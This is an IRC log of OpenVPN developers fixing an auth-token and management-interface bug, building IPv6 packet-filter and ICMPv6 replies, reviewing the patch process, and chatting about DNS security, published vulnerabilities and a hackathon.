<@ordex> yeye 03:52 <@ordex> well, easy to make up :D 03:52 <@mattock> other nominees were carelian pie, carelian (meat)stew and fried fish with potato mash 03:53 <@mattock> need to split now, bb in some hours 03:53 <@ordex> enjoy ! 03:54 <@ordex> CRCinAU: do you know what were the steps dazo was following to replicate the auth-token bug ? 03:54 <@ordex> I think he found a simple way, but i can't reproduce it 05:47 <@plaisthos> whihc bug? 05:48 <@plaisthos> My main bug is, connect, reconnect, client uses old token => AUTH_FAILED 05:48 <@plaisthos> ordex: did you send your ipv6 pf code to the mailing list? 05:51 <@ordex> plaisthos: not yet, because I need to dig in some more to check what the plugin was really doing and possibly re-integrate its functionalities 05:51 <@ordex> plaisthos: dazo claims that it could be used to inject rules and so we don't want to lose that feature 05:51 <@ordex> plaisthos: the bug i was talking about is something CRCinAU came up with when using NM (i.e. management console) 05:52 <@plaisthos> err might affect me too then 05:52 * ordex switches off to substitute his touchpad 05:52 <@plaisthos> if it is client side 05:52 * ordex wishes himself goodluck 05:52 <@ordex> yes 05:52 <@ordex> talk later! 06:46 < CRCinAU> ordex: sure 06:46 < CRCinAU> connect via NetworkManager 06:46 < CRCinAU> afaik, the main issue is fixed 06:47 < CRCinAU> but it still informs the NetworkManager of the need to reauth - which NM then provides the username/password - which overwrites the token etc 06:47 < CRCinAU> but from what I understand, it does store the token correctly now 06:55 < CRCinAU> and in other news, fuckin ey! 06:55 < CRCinAU> https://access.redhat.com/errata/RHSA-2017:1680 06:55 <@vpnHelper> Title: Red Hat Customer Portal (at access.redhat.com) 06:56 < CRCinAU> CVE-2017-3143 06:56 < CRCinAU> Impact: Important Public Date: 2017-06-29CWE:CWE-592 06:56 < CRCinAU> Bugzilla:1466193: CVE-2017-3143 bind: An error in TSIG authentication can permit unauthorized dynamic updates 06:56 < CRCinAU> A flaw was found in the way BIND handled TSIG authentication for dynamic updates. A remote attacker able to communicate with an authoritative BIND server could use this flaw to manipulate the contents of a zone, by forging a valid TSIG or SIG(0) signature for a dynamic update request. 07:37 <@plaisthos> ordex, cron2: I disagree with always allowing certain ICMPv6 types 07:37 <@cron2> plaisthos: I'm missing context, it seems 07:38 <@plaisthos> cron2: the ipv6 packet filter 07:38 <@plaisthos> If I want to block communication with a certain IP/network it should also drop all ICMPv6 07:39 <@cron2> mmmh, this is tricky, think ICMPv6 packet too big - this can come from intermediate hosts that you do not regularily want to talk to... 07:40 <@cron2> (nevertheless I seem to have missed the patch set this discussion is about) 07:40 <@plaisthos> not sure it is one the mailinglist 07:40 <@plaisthos> I am at the moment looking at ordex patches on github.com/ordex 07:41 <@cron2> this is the context I was missing :) 07:42 <@plaisthos> I am looking into this client side ipv6 leak stuff that translates to send icmpv6 no route to host and thought it would a good idea to handle that via pf 07:47 <@plaisthos> cron2: have to check what is the real sender is 07:48 <@plaisthos> or if you could use the reported ip then intead 07:51 < CRCinAU> yeah - IPv6 is picky about ICMPv6 07:51 < CRCinAU> iirc, even path discovery uses it 07:51 <@plaisthos> yes 07:51 < CRCinAU> in other news, everyone is patching their nameservers, and I'm just here like: 07:51 < CRCinAU> https://www.youtube.com/watch?v=Tet2CMHZjx8 07:56 <@plaisthos> but simply allowing all required icmpv6 is the best solution either 08:25 <@plaisthos> pf is weird, it is appearently server only 09:01 <@ordex> plaisthos: I agree with the idea of blocking everything by default. but this is going to be a bad default. nothing will work (NDP does not work without ICMPv6) 09:03 <@plaisthos> I know 09:04 <@plaisthos> but ndp should be local 09:04 <@plaisthos> and ndp type packet to/from random inet hosts is strange 09:08 <@ordex> right 09:08 <@ordex> what about tap? 09:08 <@ordex> in that case it should go through 09:08 <@ordex> no? 09:09 <@plaisthos> yeah but still tricky :/ 09:09 <@plaisthos> probably all fe80 allowed 09:10 <@plaisthos> and then you whatever your local network is 09:16 <@ordex> plaisthos: mumble muble 09:16 <@ordex> it's just a matter of time to understand what else we are breaking :P 09:17 <@ordex> or, we allow the icpv6 by default, but we add another policy other than allow/deny 09:17 <@ordex> deny-with-icmp6 09:17 <@ordex> or similar 09:17 <@ordex> to say that in this case everything is blocked 09:17 <@ordex> or the other way around 09:18 <@plaisthos> yeah, I am at the moment figuring out how to write a packet to tun 09:18 <@plaisthos> that seems not so trivial 09:18 <@ordex> focus focus!! 09:19 <@plaisthos> I am doing that! 09:19 < CRCinAU> welcome to the fun that is IPv6 ;) 09:19 <@plaisthos> I am trying to figure out the "send imcp back" part 09:19 < CRCinAU> I still have that weird packet loss / MTU issue in the US with my colo provider 09:20 < CRCinAU> they can at least confirm it via diagnosis - but no clues on a fix yet 09:28 <@ordex> plaisthos: send icmp back ? 09:36 <@plaisthos> ordex: goal is to implement a client side firewall 09:36 <@plaisthos> or at least something like ipv6 packet => openvpn replies with no route to host 09:37 <@ordex> oh ok 09:37 <@ordex> you can do that by setting unreachable routes in the routing table, no? :O 09:38 <@ordex> but not if the destination is another client, of course :P 09:38 <@plaisthos> ordex: not on android 09:38 <@plaisthos> there you can only say I want these routes or the VPN or not 09:38 <@ordex> plaisthos: and why do you have to send the packet to the tun interface then? if the packet is generated inside openvpn, you can directly send it over the link, no? 09:38 <@ordex> plaisthos: ah yeah, like the new iOS API 09:39 <@plaisthos> yeah, apart that android is older :) 09:39 <@ordex> hehe :D 09:39 <@ordex> yeah 09:39 <@plaisthos> ordex: no the packet does not go to the client 09:39 <@plaisthos> client os write to tun ipv6 packet, openvpn genrates icmp unreachable, write back to tun 09:40 <@plaisthos> (like coming from the network from os perspective) 09:40 <@ordex> oh, the second "write to tun" is an outgoing (i.e. going out of the interface) 09:40 <@ordex> yeah 09:40 <@ordex> exactly 09:40 <@ordex> hehe 09:40 <@ordex> in and out .. matter of perspective :P 09:43 <@ordex> and finally my t440s has a new touchpad!!! with real buttonss!!! so excited :D 09:53 <@plaisthos> bloody hell "just write back an imcp packet", that is terrible complicated 09:57 <@ordex> :P 10:18 <@plaisthos> contrary to icmpv4, icmpv6 includes the original message 10:18 <@plaisthos> but only so the whole packet is <= 1280 10:21 <@ordex> yap 10:21 <@ordex> just for fun 10:22 <@plaisthos> I can understand the reasoning 10:22 <@plaisthos> that way icmpv6 is ip protocol agnostic 10:39 <@ordex> plaisthos: ? to answer with an icmpv6 to a n ipv4 packet? or what? 11:58 <@plaisthos> ordex: no so icmpv6 does not need to know what the payload is, i.e. tcp, udp, sctp, etc. 17:51 <@plaisthos> nearing success :) 17:52 <@plaisthos> my client receives ICMPV6 packets which ignored since I have not implmented icmpv6 checksum calculation 19:25 <@ordex> plaisthos: :) 20:17 <@plaisthos> hm 20:17 <@plaisthos> I get my no route to host messages in wireshark now 20:17 <@plaisthos> and they look correct 20:17 <@plaisthos> but OS X ignores them 20:17 <@plaisthos> I am not sure if that is by design or if I am missing something 20:20 <@ordex> can't exclude the former :P 20:20 <@ordex> what do you mean with ignored? 20:21 <@ordex> if you ping that host, don't you get something back on the screen? 20:21 <@plaisthos> yeah, if I send back no route to host or simply drop the packets does not seem to make a difference 20:22 < CRCinAU> mornin all 20:22 <@ordex> oh weird. have you tried using a linux vm as client for pinging ? 20:22 <@ordex> CRCinAU: you are late:P 20:22 <@ordex> morning :) 20:22 < CRCinAU> yup. 20:22 < CRCinAU> 11:22am late. 20:22 <@ordex> hehe 20:23 <@plaisthos> It is really late here 20:23 <@plaisthos> and I should have gone to bed 4 hours ago instead of debugging weird icmpv6 stuff 20:23 < CRCinAU> today was a CBF getting out of bed day lol 20:23 <@ordex> plaisthos: well said :P 20:23 <@ordex> CBF? 20:25 < CRCinAU> Can't Be Fucked ;) 20:28 <@ordex> lol 20:28 <@ordex> I was missing that 20:37 <@plaisthos> okay linux works 20:37 <@plaisthos> os x just ignores this, I guess 20:39 <@plaisthos> if you return no route to host, wget will just abort after one try 20:40 <@plaisthos> if with adminstratively prohibited it will also fast immeaditly and then try again forever 20:42 <@ordex> interesting 20:48 <@plaisthos> and why needs my resolver to be in systemd?! 20:54 <@ordex> some questions are better kept unanswered :P 21:25 <@ordex> plaisthos: did you go to bed? :P --- Day changed Thu Jul 06 2017 03:47 <@dazo> plaisthos: systemd/resolver .... that's not strictly true, but it may appear so. The source code is put inside the systemd project (just like we had Windows TAP and Easy-RSA as part of the openvpn source code) .... it is possible to untangle that resolver and compile it as a standalone component too. And here is why it is needed for a different resolver: https://www.reddit.com/r/linux/comments/6kdcme/why_does_systemd_have_its_own_dns_reso 03:47 <@dazo> lver/ 03:47 <@vpnHelper> Title: Why does systemd have it's own DNS resolver? : linux (at www.reddit.com) 03:50 <@dazo> w00t!? Google provides DNS over HTTPS ..... https://developers.google.com/speed/public-dns/docs/dns-over-https 03:50 <@vpnHelper> Title: DNS-over-HTTPS | Public DNS | Google Developers (at developers.google.com) 03:51 <@ordex> lol 03:51 <@ordex> why ? 03:51 <@ordex> :D 03:51 <@dazo> I understand the reasoning .... but .... you need resolver libraries capable of that 03:51 <@dazo> ordex: well, to hide what you query for .... good for more anonymity 03:51 <@ordex> dazo: DNSSEC does not provide encryption too ? 03:51 <@dazo> but I'd prefer DNS over SSL, not HTTPS :) 03:51 <@ordex> agreed :D 03:52 <@cron2> nah, it will all be HTTP/2 over QUIC 03:52 <@dazo> Isn't DNSSEC just signing of the data, to ensure the results have not been tampered with? 03:52 <@ordex> cron2: facepalm 03:52 <@ordex> dazo: ah maybe 03:52 <@cron2> so, starting with a single UDP packet, and a fairly trivial client, you'll end up with systemd-resolver being half the size of chrome, and 10 packets for each query 03:53 <@ordex> :D 03:53 <@cron2> but it will be oh so totally secure, because, signed by a commercial CA! 03:53 <@dazo> :-P 03:53 <@dazo> lol 03:53 <@cron2> dazo: dnssec is purely signing, yes 03:53 <@ordex> soon google will provide free vpn service, for your safety and anonimity 03:53 <@ordex> :P 03:53 <@cron2> djb has proposed dnscurve which is also encrypting, but since he's the outsider kid, nobody wanted that 03:53 <@dazo> good, then I hadn't missed any DNSSEC details 03:54 <@dazo> ordex: :-P 03:54 <@ordex> dazo: I feel you are awake! do you have 5 minutes to refresh the auth-token issue ? 03:54 <@dazo> ordex: you're not informed .... https://jigsaw.google.com/ 03:54 <@vpnHelper> Title: Jigsaw (at jigsaw.google.com) 03:55 <@dazo> I believe the VPN service is part of the uProxy service 03:55 <@ordex> diggin g.. 03:56 <@ordex> dazo: could be .. vpn within browser .. over https .. over over 04:05 <@dazo> ordex: regarding the --auth-token + --auth-nocache + --management .... did you figure that out? 04:05 * dazo is catching up on scrollbacks 04:05 <@ordex> dazo: not really. I followed your instructions, but I see no problem here 04:05 <@ordex> I have a simple server (no auth-gen-token set) 04:05 <@ordex> and the client with management interface configured with the arguments you suggetsed 04:05 <@ordex> then I use telnet to hold release and type user/pass 04:06 <@ordex> the clients authenticates itself, and then it just work 04:06 <@ordex> s 04:06 <@dazo> right ... the server must have --auth-gen-token ... or send a token at least 04:07 <@ordex> ah ok 04:07 <@ordex> I missed that part 04:07 <@ordex> what will happen then ? 04:07 <@ordex> do I need to configure the renegotiation ? 04:08 <@dazo> yeah, that too ... that will trigger the management interface to ask for credentials once more (the auth-token) ... and then it will shut up for the following renegs 04:12 <@ordex> in theory it should ask for the token every time, no? 04:12 <@dazo> I discussed this with James, and he sees no reason for asking for the token at all ... the session is authenticated already, so the openvpn process should just send the token it has 04:13 <@dazo> without bothering the management interface at all 04:13 <@ordex> right 04:13 <@ordex> because the token was received from the server 04:13 <@dazo> exactly 04:14 <@ordex> but this is what already happens when we use no management interface, righ t? 04:14 <@dazo> yes 04:14 <@ordex> ok 04:14 <@dazo> so this is a bug in the management interface 04:15 <@ordex> I see 04:15 <@ordex> I am trying to observe the behaviour now 04:15 <@ordex> I have seen it while auth-nocache is set (although it should be ignored because the token is received) 04:16 <@ordex> hm without auth-nocache it just works as expected 04:16 <@ordex> is this also what you observed dazo ? 04:16 <@dazo> yes, that is correct 04:16 <@ordex> ok 04:16 <@ordex> thanks :) 04:17 <@ordex> so the problem is that auth-nocache is not ignored when the management interface is set 04:17 <@dazo> which is why it works mostly fine, until you try it with NetworkManager, which adds --auth-nocache by default 04:17 <@ordex> I see 04:18 <@ordex> thanks for the summary :) 04:18 <@dazo> yw! 04:36 <@dazo> ouch ... RSA-1024 implementation in libgcrypt is has been broken (side-channel attack). 2048 bits keys are susceptible with this method ... https://lwn.net/Articles/727179/ 04:36 <@dazo> libgcrypt is used by GPG 04:36 <@ordex> azz 04:38 <@dazo> " In the paper, they say that most 1024-bit keys can be recovered by searching through 10,000 candidates, though some require searching up to 1,000,000 candidates. For 2048-bit keys, 13% could be found by searching only 2,000,000 possible keys. Since the public key is known, it should be straightforward to use signature produced to verify which of the possibilities is the proper key. " 04:38 <@dazo> you can say a lot about djb ... but he does know how to break encryption :/ 04:40 <@cron2> but that's not RSA in general, it's "if libgcrypt is used to generate signatures"? 04:40 <@dazo> cron2: correct ... It is the RSA implementation in libgcrypt which is broken 04:42 * dazo ponders how this affects keys stored on PKCS#11 hardware 04:43 <@dazo> lol ... https://www.nitrokey.com/sites/default/files/styles/lightbox_full/public/field/image/incorrect%20password.jpg 04:44 <@ordex> lol 04:44 <@ordex> smart! 04:44 <@ordex> : 04:44 <@ordex> :D 04:44 <@dazo> ;-) 04:50 <@ordex> dazo: do I need auth-user-pass-verify on the server to have the token being sent ? 04:50 <@ordex> I forgot these details :D 04:51 <@dazo> yes 04:51 <@dazo> :) 04:52 <@dazo> and the client needs --auth-user-pass too :) 04:52 <@ordex> ok :D 04:53 <@ordex> ah there we go! 04:53 <@ordex> finally :) 05:07 <@dazo> :) 06:09 <@dazo> This looks like an interesting read ... https://blog.regehr.org/archives/1520 06:09 <@vpnHelper> Title: Undefined Behavior in 2017 Embedded in Academia (at blog.regehr.org) 06:12 * CRCinAU perks his ears... 06:12 < CRCinAU> Tokens? 06:51 < slypknot> Does openvpn-connect.android support --tls-crypt ? 07:42 <@plaisthos> no 07:42 <@plaisthos> use openvpn for android if you want that 07:43 < slypknot> plaisthos: thanks 07:46 <@plaisthos> cron2: djb's dnsscurve does not allow caching and does not really sign the DNS records, so it is more an ecrypted DNS protocol than anything else. So using DNSCurve would also change the way DNS works, drastically. So that is probably the reason that many people don't want it 08:00 <@cron2> why doesn't it allow caching? 08:16 <@plaisthos> not 3rd party caching 08:16 <@plaisthos> with dnssenc if I give you dnssec records you can check their signatures 08:17 <@plaisthos> with dnscurve you can only check if nothing strange happend between me and you, you can't check that I send you the right data in the first place 08:24 <@cron2> ok, that part - right 08:33 <@plaisthos> which translates to "you have to trust your secondaries" 08:33 <@plaisthos> with dnnsec secondaries cannot forge entries 09:00 <@ecrist> djb is a smart guy, but some of his stuff is a bit whacky 09:04 < CRCinAU> lol 09:04 < CRCinAU> I just looked at some stuff for my web site.... 09:04 < CRCinAU> I get 1800 unique visitors per month o_O 09:05 < CRCinAU> sorry. I talk shit. 09:05 < CRCinAU> that's 1800 unique visitors so far *this month* 09:05 < CRCinAU> between 6600 and 7500 per month o_O 10:17 <@ordex> aloha guys 10:20 < CRCinAU> g'night ;) 10:20 <@plaisthos> aloha 10:21 <@ordex> CRCinAU: almost there 10:21 <@ordex> plaisthos: I hope you did not dream about ipv6, icmp and no route to hosts 10:21 <@ordex> :D 10:21 <@plaisthos> no all fine :) 10:21 <@plaisthos> and everything is working :) 10:22 <@ordex> hehe cool 10:34 <@plaisthos> sent patch to mailing list 10:36 * CRCinAU has been spamming bugzillas all over the place today lol 10:36 < CRCinAU> everything from glibc issues, to login problems, to reporting crashes in kmail :p 10:40 <@ordex> plaisthos: you don't like newlines in the commit message ? :P 10:43 <@ordex> plaisthos: the style of your patch also needs some love eh? ;P 10:44 <@dazo> CRCinAU: lets hope all your efforts makes the (computer) world a better place to be :) 10:44 <@ordex> in the worst we can all still drink beer (and wine) 10:45 <@plaisthos> ordex: hu? No idea why git stopped wrapping lines 10:45 < CRCinAU> dazo: only reason I do it - shitty software pisses me off :) 10:45 < CRCinAU> I try to help make it less shitty 10:46 < CRCinAU> dazo: oh - and I got a Tested-by: in the latest kernel.org changelogs too ;) 10:46 <@ordex> plaisthos: too late, you'll get punished for this!! mhuahaua 10:46 <@ordex> CRCinAU: cool ;) 10:46 < CRCinAU> https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.9.36 - search for netwiz@crc.id.au 10:47 < CRCinAU> oh - and in this one too: https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.9.35 ;)_ 10:47 <@ordex> CRCinAU: nice one! 10:47 < CRCinAU> two in a row..... 10:47 <@ordex> hehe 10:47 <@ordex> when will we have the first Signed-off-by ? 10:48 <@ordex> :) 10:48 < CRCinAU> get one more and I need to turn my phone ringtone to the Unreal Tornament "M-M-M-MULTIKILL!" 10:48 < CRCinAU> hahah steady on ;) 10:48 < CRCinAU> you forget I still can't code in C for shit lol 10:48 <@ordex> :D 10:48 <@ordex> there is still enough time to learn ! 10:49 <@ordex> CRCinAU: are you going to organize this hackathon in melb? 10:49 < CRCinAU> but it goes to show - you don't have to be a l33t coder to make the world a better place 10:49 <@ordex> of course not 10:49 <@ordex> everybody is needed 10:49 <@ordex> :) 10:49 <@ordex> coders are just executors ;) 10:49 < CRCinAU> so.... auth tokens and the management interface.... ;) 10:49 < CRCinAU> lol 10:50 <@ordex> CRCinAU: if I fix that you get to invite me for a drink in st.kilda 10:50 <@ordex> :D 10:50 < CRCinAU> hahahahaha 10:50 < CRCinAU> hell, I can provide an office for a hackathon 10:50 < CRCinAU> but as if anyone is near victoria ;) 10:50 <@ordex> just me and you and dazoin videoconference :P 10:51 < CRCinAU> heh 10:51 < CRCinAU> but I've even bitchslapped RH guys today lol 10:51 < CRCinAU> https://bugzilla.redhat.com/show_bug.cgi?id=1370222#c63 10:51 <@vpnHelper> Title: Bug 1370222 session/apps fail to start if hostname changes during boot due to network (infamous xauth issue) (at bugzilla.redhat.com) 10:51 <@ordex> lol 10:52 < CRCinAU> last comment. 10:54 < CRCinAU> ok, second last comment now ;) 10:54 <@ordex> yes 11:01 <@plaisthos> ordex: what is wrong with the style of the patch? 11:01 <@plaisthos> other than using C99 comments ;) 11:02 <@ordex> comments are C++ style instead of C, you have some whitespaces near parenthesys in invocations 11:02 <@ordex> alignment of arguments on second lines is not always correct 11:02 <@ordex> I can reply to the patch tomorrow if you want 11:02 <@ordex> now I am not really fit for that :P 11:02 <@plaisthos> *sigh* I am not used to the new style yet 11:03 <@ordex> hehe 11:03 <@ordex> no worries :) 11:03 <@ordex> although this is not a good excuse, because even with your non-style, you are not consistent :P:P:P:P 11:03 * ordex is in fun mode 11:03 <@plaisthos> (; 11:04 <@ordex> hehe 11:04 <@plaisthos> I am happy that it works :P 11:23 <@ordex> dazo: I found something weird in the user_pass object 11:23 <@ordex> the defined attribute gets reset .. but i can't see when 11:23 <@ordex> digging .. 11:24 <@dazo> ordex: that sounds exactly like what I was going through too ... I instrumented openvpn so many places, but there's a CLEAR() (or similar) operation happening around the re-negotiation 11:24 <@ordex> mh 11:24 * ordex gets his hands verrrry dirty 11:25 <@dazo> I had to drop the ball for the time being, needed to work on more urgent tasks ... otherwise, I'd probably screaming about it here quite frequently last week :-P 11:26 <@ordex> :D 11:26 <@ordex> yeah I saw that, that's why I took the ball 11:26 <@ordex> maybe we can help CRCinAU somehow :P 12:37 <@ordex> dazo: found the problem!!!! 12:38 <@ordex> I believe :P 12:39 <@ordex> CRCinAU: I know you are awake! I am sure you can't sleep!! come here! 13:02 <@dazo> ordex: !??! Where?!?? 13:03 <@ordex> dazo: check the ticket update! 13:03 <@ordex> #904 13:05 <@dazo> that looks plausible 13:05 <@ordex> yap 13:06 <@ordex> that *up = is the "reset" we were looking for 13:06 <@ordex> which is fine, as soon as we copy over the attributes (and this was doe for nocache, but not for the new one) 13:06 <@ordex> :S 13:06 <@ordex> *done 13:07 <@dazo> yeah ... I actually had some "pick up again notes" mentioning that function ... so I was very close then 13:07 <@ordex> I guess the problem was that today I had more wine than you :-P 13:07 <@dazo> lol! 13:07 <@dazo> most likely! :) 13:09 <@dazo> Need to figure out some weird glib/gdbus behaviours coupled with thread locks .... then I'll test your patch 13:10 <@ordex> that does not sound funny :S 13:12 <@dazo> I can normally follow my threads fine ... but I do not have the complete overview of what glib2 does under the hood - as that fires off some extra threads ... now I need to understand why a dbus signal which is sent is never caught :/ 13:12 <@ordex> hm 13:13 <@ordex> masking issue along the chain? 13:15 <@dazo> no, I wonder if just my test program is flawed, as there I don't use the GMainLoop .... which might not start the proper backend threads I suspect the D-Bus parts expects 13:38 <@dazo> \o/ that was it ... a missing gmainloop! .... Gee, didn't expect that, but thinking it through, it makes so much sense now 13:40 <@ordex> :D 13:40 <@ordex> coool! 13:40 <@ordex> hehe it does always make sense after a lot of sweat :) glad you found it! 14:24 <@dazo> so comes the tricky question ... when implementing this "worker thread" which needs to run in parallel with gmainloop ... should I use C++ std::thread .... or the C based Glib GThread ? 20:21 <@ordex> morning 20:26 <@ordex> CRCinAU: u there? 20:39 <@ordex> dazo: GThread is likely based on std::thread..so it's probably more a style concern. but if they live in the same environment (i.e. they are always used together) I'd go for GThread 22:04 < CRCinAU> ordex: yep. 22:04 <@ordex> CRCinAU: aye aye 22:04 <@ordex> there is an update for you ;) seen it? 22:04 < CRCinAU> got mah APU3 in the 1RU case 22:04 < CRCinAU> second APU3 ordered. 22:05 < CRCinAU> I saw something about a patch - but not sure 22:06 <@ordex> CRCinAU: yup, it's a potential fix fr your auth-token+management issue 22:06 <@ordex> can you compile a build and test it? or you'd need me to compile it for you? 22:06 < CRCinAU> if dazo could be so kind as to build a scratch for Fedora with it, I'll give it a good testing. 22:06 < CRCinAU> I'd prefer to keep it the same as we do the Fedora builds - just to rule out any other kind of problem in testing. 22:07 <@ordex> oh ok - I can't create a Fedora package 22:07 < CRCinAU> (that, and I don't have a Fedora 26 buildroot) 22:07 <@ordex> yeah 22:07 < CRCinAU> I do have a buildroot for EL6 / EL7 - but not Fedora 22:18 <@ordex> ok 22:18 <@ordex> let's wait for dazo then --- Day changed Fri Jul 07 2017 01:26 <@cron2> ordex, syzzer: that init_key_ctx_bi() mail is weird - I see an acked-by ordex, but no original mail from syzzer 01:26 <@cron2> "this is not how this is supposed to work" 01:32 <@ordex> cron2: it's me sending a patch authored by syzzer 01:33 <@ordex> basically sending it on his behalf 01:33 <@ordex> ontop of that i have laready reviewed it (so acked-by) 01:33 <@cron2> yeah, but still this isn't what we are normally doing (how am I to know that it's really made by syzzer?) 01:34 <@ordex> dunno - how do you handle multiple authors normally ? 01:34 <@ordex> usually I send patches like those and in theory the other author would complain if something is wrong (he should be in CC of that patch) 01:34 <@cron2> the one who is listed in git as author sends the patch, using git-send-email... someone else replies with an ACK to the list 01:35 <@ordex> yup, but what if two people worked on the patch and there are like 2 signed-off-by ? 01:35 <@ordex> still only one will send the patch, no ? 01:35 <@cron2> "the one who is listed in git as author..." 01:35 <@ordex> mh ok 01:36 <@ordex> well, this means that nobody is allowed to send patches to the ml unless he is the major author ? 01:36 <@cron2> multiple SOBs are fine :) (but even then, our normal supertransparent processess want the ACK explicit on the list) 01:36 <@ordex> because I could take over the git author, but did not want to do tha as syzzer is still the major author of that code 01:36 <@ordex> so I sent it this way 01:36 <@ordex> hm 01:36 <@cron2> we sometimes forward patches ("this patch has been posted to trac, I think it's good"), but this is not the formal way 01:37 <@ordex> yup, I understand it's out of the standard. but there must be a way to "forward" patches form somebody else. it's open source after all :P 01:37 <@cron2> with the core team, it's normally no problem to have "the one listed in git" run git-send-email :-) - with hit-and-run patches, it's case-by-case 01:37 <@ordex> I should write something in the commit? 01:37 <@ordex> like: syzzer worked on this, but I am sending the patches because he has not enough time to send and follow up with them ? 01:38 <@cron2> we need *two* mails anyway, one with the patch, one with the ACK 01:38 <@ordex> that's ok 01:38 <@cron2> and you cannot send them both 01:38 <@ordex> mumble mumble 01:39 <@cron2> at least under the current guidelines that we've agreed upon, thousands of years ago... which *do* cause annoyance someone sends a relevant patch or bugfix and there is noone who has expertise in that area of code... 01:39 <@cron2> (or time/interest) 01:39 <@ordex> hehe 01:39 <@ordex> so what do I do now ? 01:39 <@ordex> we throw the patch until the original author has time to send it ? 01:39 <@ordex> :P 01:39 <@cron2> get syzzer to send a "yes this is fine" reply :) 01:40 <@ordex> hehe 01:40 <@ordex> but this does not scale 01:40 <@ordex> I mean, I could have even taken a patch from a github repo that i think is fine and wanted to give credit to the original author 01:40 <@ordex> what should we do? waiting for the author to write to the ml is unfeasible in that case 01:41 <@cron2> well, there's two answers to that - if the author has an interest in getting his patch merged, he should send it to the list 01:41 <@ordex> actually if I change the author of the patch, I'd be violating the GPL as I am changing authorship with no explicit consent 01:42 <@cron2> in rare cases where it's a trivial-enough patch, we *forward* the patch with a note ("this has been posted to trac, I've tested it, it fixes bug #7491"9 01:42 <@ordex> that's true, the problem is exactly when the author has no time/motivation 01:43 <@ordex> mh getting complicated 01:43 <@cron2> but we as a team have no real interst in hit-and-run patches - patches are rarely perfect on the first go, so an author that is not responsive is not really helpful 01:43 <@cron2> like, we think there should be an extra msg() somewhere - and no response, because "no interest". Then why bother with it in the first place? 01:43 <@ordex> agreed, that's why I decided to take over, but can't take full ownership, hence the git author is still kept as it was originally 01:44 <@cron2> 08:39 <@cron2> get syzzer to send a "yes this is fine" reply :) 01:44 <@ordex> :P 01:44 <@ordex> syzzer: ^^ 01:44 <@cron2> "how am I to know that it was really written by him"? I have no proof for that except that "it says so in your e-mail" 01:45 <@ordex> that's always the case with every patch :P 01:45 <@cron2> true, which is why we have a second set of eyes review the thing, and we do not fold this in a single "here's patch and ACK, have fun" mail 01:45 <@ordex> hm but this was not my intention. in case of comments, I would have dealt with them 01:45 <@ordex> still, I don't find this sufficient to take full ownership 01:46 <@cron2> if you take full ownership, we'd need syzzer to send the ACK, so that wouldn't actually solve the "four eyes needed" requirement 01:46 <@ordex> ah, that's because syzzer is still the expert of that area of code? 01:47 <@ordex> and hopefully syzzer ha snot disappeared :D 01:47 <@ordex> hehe 01:47 <@ordex> ok 01:47 <@ordex> well, with main developers I think this logic works 01:47 <@ordex> so for this case, syzzer please confirm the patch :D 01:49 <@cron2> ordex: I'm fine with an ACK from dazo or plaisthos :) - but as a general rule, two mails are needed - one with the patch, one with the ACK 01:50 <@ordex> alrighty 01:50 <@ordex> btw, I thought it was normal to do like this because in the kernel I had several experiences where people started off things, but then they gave up when it got too complex to make it work. so other people would understand the patch, take over and then send it with the original authorship to credit the work to whoever started it 01:50 <@ordex> but yeah, i understand it is not the default everywhere :) 01:55 <@cron2> the kernel has a different ACK regime... 01:56 <@cron2> but this sort of thing is what hackathons are for :-) -> sit around a table, and argue whether what we have is still useful or should be changed 01:56 <@cron2> (we can do this at an IRC meeting as well) 01:57 * CRCinAU pings dazo with an auth-token auth-nocache patch 01:58 < CRCinAU> that's one of my APU2s configured as a LB in the 1RU case. 01:58 < CRCinAU> waiting for the other to arrive now 02:05 <@ordex> CRCinAU: :) 02:05 <@ordex> CRCinAU: you have your own rack in the office ? 02:05 < CRCinAU> nah - this is in a datacentre 02:22 < CRCinAU> I managed to benchmark this APU3 to do ~100 SSL connections/sec with apache benchmark 02:22 < CRCinAU> HTTP in, HTTPS out 02:22 < CRCinAU> with keepalives, it was over 800/sec 05:29 < CRCinAU> dazo: ping? 07:05 <@d12fk> 7/13 added to the doodle already 07:06 <@d12fk> what about the fox-it faction syzzer? 07:07 <@d12fk> and shall we wait for james and/or lev for the final call o the date? 07:09 < eworm> speaking about the hackathlon? 07:09 < eworm> who is allowed to participate? 07:10 <@d12fk> hm, not sure if there are hard requirements 07:10 <@cron2> "active and regular participants in the project development, up to the limit set by the inviting party" or something like that 07:10 <@cron2> those I did in Munich where limited by available space 07:11 <@cron2> it's not a conference, but a "we sit together, discuss open issues, strategy, openvpn 2.x/3.x compatibility planning, ..." 07:12 <@ordex> no drinks? :) 07:12 * ordex hides again 07:12 <@cron2> food & drinks, of course :-) - depending on available sponsoring money 07:13 <@cron2> (like, when I did Munich, I sponsored soft drinks and food stuff over the day, OpenVPN tech paid for dinner one evening, etc.) 07:13 <@d12fk> ordex: if you book "blauer reiter" you can crawl from the beer garten to your room 07:13 <@ordex> lol 07:14 <@ordex> it was quite cheap if we'd book now for november 07:14 * cron2 brings a warm jacket and extra long undergarments for Beer Garden in November 07:14 <@ordex> good point :S 07:14 <@d12fk> I wouldn't consider myself "active and regular participant" at the moment, yet i still will be there =) 07:15 <@cron2> special rules apply for sponsors and organizers :) 07:23 <@dazo> CRCinAU: pong 07:23 <@dazo> CRCinAU: have you seen the patch from ordex? 07:23 <@ordex> dazo: CRCinAU would like you to build openvpn for Fedora with that patch 07:23 < CRCinAU> yeah - can I harass you to.... yeah ^^ that. 07:23 <@dazo> ahh! 07:23 <@ordex> hehe 07:24 < CRCinAU> meanwhile, I'm just writing an email to set the Fedora KDE SIG on fire ;) 07:24 <@dazo> Just because I'm planning a 2 week holiday after today, it's warm, sunny and I'm in a generally good mood (haven't been to #openpvn yet!) .... I'll do that :) 07:25 <@dazo> CRCinAU: which Fedora flavour do you want? 07:25 <@dazo> 25, 26, rawhide? 07:25 <@ordex> :D 07:26 <@ordex> dazo: will you check your emails? how can we stress you? 07:26 <@ordex> :D 07:26 <@dazo> lol :) 07:26 <@dazo> You may send mails ... and I'll promise it will come to an inbox at least :-P 07:26 < CRCinAU> dazo: 26 plzkthx 07:26 <@dazo> sure, np! 07:27 <@dazo> CRCinAU: I'm going to give you a build against OpenSSL 1.1 too then ... so that can be tested as well ;-) 07:28 <@ordex> winenot 07:29 <@dazo> :) 07:29 < CRCinAU> yep 07:29 < CRCinAU> openssl-1.1.0f-4.fc26.x86_64 07:29 < CRCinAU> that'll work 07:31 <@dazo> yeah, I believe that's what will be used 07:31 <@dazo> 